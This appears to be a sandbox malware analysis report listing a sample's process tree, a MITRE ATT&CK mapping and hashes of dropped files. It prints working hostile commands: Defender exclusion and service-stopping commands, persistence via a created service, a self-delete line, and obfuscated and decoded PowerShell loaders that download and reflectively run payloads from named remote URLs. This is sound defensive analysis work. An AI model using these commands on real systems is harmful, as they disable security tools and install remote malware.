    3⤵
    - Program crash
    PID:756
- C:\Users\Admin\AppData\Local\Temp\http185.215.113.66newtpp.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\http185.215.113.66newtpp.exe.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\sysvplervcs.exe
    C:\Windows\sysvplervcs.exe
    3⤵
    - Modifies security service
    - Windows security bypass
    - Checks computer location settings
    - Executes dropped EXE
    - Windows security modification
    - System Location Discovery: System Language Discovery
    PID:3680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
      4⤵
      System Location Discovery: System Language Discovery
      PID:872
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
      4⤵
      System Location Discovery: System Language Discovery
      PID:4472
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2344
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4080
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4312
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2040
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4368
- C:\Users\Admin\AppData\Local\Temp\http77.105.161.194pdffile.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\http77.105.161.194pdffile.exe.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c tyr.vbs
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\tyr.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#Mw#w#HQ#d##v#HM#Z#Bh#G8#b#Bu#Hc#bwBk#C8#dwBx#HQ#cgBl#HQ#cgBl#C8#awBy#HU#cgBl#G0#b#B1#HI#LwBn#HI#bw#u#HQ#ZQBr#GM#dQBi#HQ#aQBi#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3140
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.30tt/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3856
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2868
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4180
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3664
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4112
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoplopsa66dc99a997229_VirtualLibrary.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoplopsa66dc99a997229_VirtualLibrary.exe.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:228
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    PID:1612
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66bf353c38733_Grids.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66bf353c38733_Grids.exe.exe"
  2⤵
  PID:2932
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    PID:4512
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66d5edf357fbf_BitcoinCore.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66d5edf357fbf_BitcoinCore.exe.exe"
  2⤵
  PID:1772
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoprevada66af9bdbf0f60_team.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoprevada66af9bdbf0f60_team.exe.exe"
  2⤵
  PID:1736
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66ebf725efe38_lyla.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66ebf725efe38_lyla.exe.exe"
  2⤵
  PID:212
- C:\Users\Admin\AppData\Local\Temp\http77.105.161.194filecarrier_ratecon.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\http77.105.161.194filecarrier_ratecon.exe.exe"
  2⤵
  PID:2748
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Internal UCP rights saver\Rate Confirmation 1.3.3\install\0B30770\Installer.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\http77.105.161.194filecarrier_ratecon.exe.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1727870632 " AI_EUIMSI=""
    3⤵
    PID:1828
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66d32ff81a663_lump.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66d32ff81a663_lump.exe.exe"
  2⤵
  PID:2840
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66b4f6893d3c3_shapr3D.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66b4f6893d3c3_shapr3D.exe.exe"
  2⤵
  PID:2380
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    PID:2900
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66cf535e3dcf9_BitcoinCore.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66cf535e3dcf9_BitcoinCore.exe.exe"
  2⤵
  PID:4932
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comlopsa66dc99a997229_VirtualLibrary.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comlopsa66dc99a997229_VirtualLibrary.exe.exe"
  2⤵
  PID:4528
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    PID:4116
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comprog66c2d861a5b4d_google.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comprog66c2d861a5b4d_google.exe.exe"
  2⤵
  PID:2256
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:2748
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:4408
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:1720
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:2404
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "KSKIUXEH"
    3⤵
    - Launches sc.exe
    PID:3552
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2104
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1728
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "KSKIUXEH"
    3⤵
    - Launches sc.exe
    PID:4056
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66f6b9bd7a566_784865439765.exe#ss.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66f6b9bd7a566_784865439765.exe#ss.exe"
  2⤵
  PID:4032
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66e096a0354a7_Burn.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comyuop66e096a0354a7_Burn.exe.exe"
  2⤵
  PID:2552
- C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comrevada66e06cea88f93_bluesapphire.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpmales.mugutu.comrevada66e06cea88f93_bluesapphire.exe.exe"
  2⤵
  PID:4512
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:2840
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66d9ddcb9dbfe_Build.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66d9ddcb9dbfe_Build.exe.exe"
  2⤵
  PID:4136
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoplopsa66d5ca151a052_stealcuniq.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoplopsa66d5ca151a052_stealcuniq.exe.exe"
  2⤵
  PID:2112
- - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    3⤵
    PID:2656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svchost015.exe" & del "C:\ProgramData\*.dll"" & exit
      4⤵
      PID:2200
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:4032
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66f13c8ec4580_uninstaller.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66f13c8ec4580_uninstaller.exe.exe"
  2⤵
  PID:2008
- - C:\Users\Admin\AppData\Local\Programs\PCV Convert Manager\pdfconv.exe
    "C:\Users\Admin\AppData\Local\Programs\PCV Convert Manager\pdfconv.exe"
    3⤵
    PID:3496
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoprevada66eb0d09c9f08_Gads.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shoprevada66eb0d09c9f08_Gads.exe.exe"
  2⤵
  PID:3800
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    PID:1256
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66eff9f890580_appSetup.exe#xin.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66eff9f890580_appSetup.exe#xin.exe"
  2⤵
  PID:3832
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4512 -ip 4512
1⤵
PID:3804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4532 -ip 4532
1⤵
PID:3012

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3732
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 115C2915488F6AC4FC79DF8D269AB493 C
  2⤵
  PID:5104
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:644
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D6226CBFCD78DD94E08D273EB761318C
  2⤵
  PID:4812

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2540

C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66f6b9bd7a566_784865439765.exe#ss.exe
C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopyuop66f6b9bd7a566_784865439765.exe#ss.exe
1⤵
PID:4920

C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe
C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe
1⤵
PID:1012
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:3784
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:3656
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2428
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1712
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\BGDHDAFIDGDB\AKFIDH

Filesize
114KB

MD5
c3311360e96fcf6ea559c40a78ede854

SHA1
562ada1868020814b25b5dbbdbcb5a9feb9eb6ba

SHA256
9372c1ee21c8440368f6dd8f6c9aeda24f2067056050fab9d4e050a75437d75b

SHA512
fef308d10d04d9a3de7db431a9ab4a47dc120bfe0d7ae7db7e151802c426a46b00426b861e7e57ac4d6d21dde6289f278b2dbf903d4d1d6b117e77467ab9cf65

Download Submit
C:\ProgramData\BGDHDAFIDGDB\HDBGHI

Filesize
160KB

MD5
f310cf1ff562ae14449e0167a3e1fe46

SHA1
85c58afa9049467031c6c2b17f5c12ca73bb2788

SHA256
e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

SHA512
1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

Download Submit
C:\ProgramData\BGDHDAFIDGDB\HDGHJE

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\ProgramData\BGDHDAFIDGDB\HIEBAK

Filesize
124KB

MD5
9618e15b04a4ddb39ed6c496575f6f95

SHA1
1c28f8750e5555776b3c80b187c5d15a443a7412

SHA256
a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab

SHA512
f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26

Download Submit
C:\ProgramData\BGDHDAFIDGDB\JJECFI

Filesize
11KB

MD5
6df1f1f0ff85d605b33d008838e7c86c

SHA1
229c211ca43cc104fdd64be5caed18464a6aa8c3

SHA256
f342bb43711e3a080a02442a8bdd799d64899efbc80a7e63e4338807200f2393

SHA512
ec5feee94dcab65add1461c3056ae604b554e901f35761a43b0e5c293fbe8dd09d7c481e2471d1a471568a15faf773ef77559ff9e947c9f71e15afc2659d70be

Download Submit
C:\ProgramData\IDGIJEGHDA.exe

Filesize
518KB

MD5
ee52cb514436f37707471297448b1799

SHA1
15bc180e285d103db78c05d398eab268f0f94842

SHA256
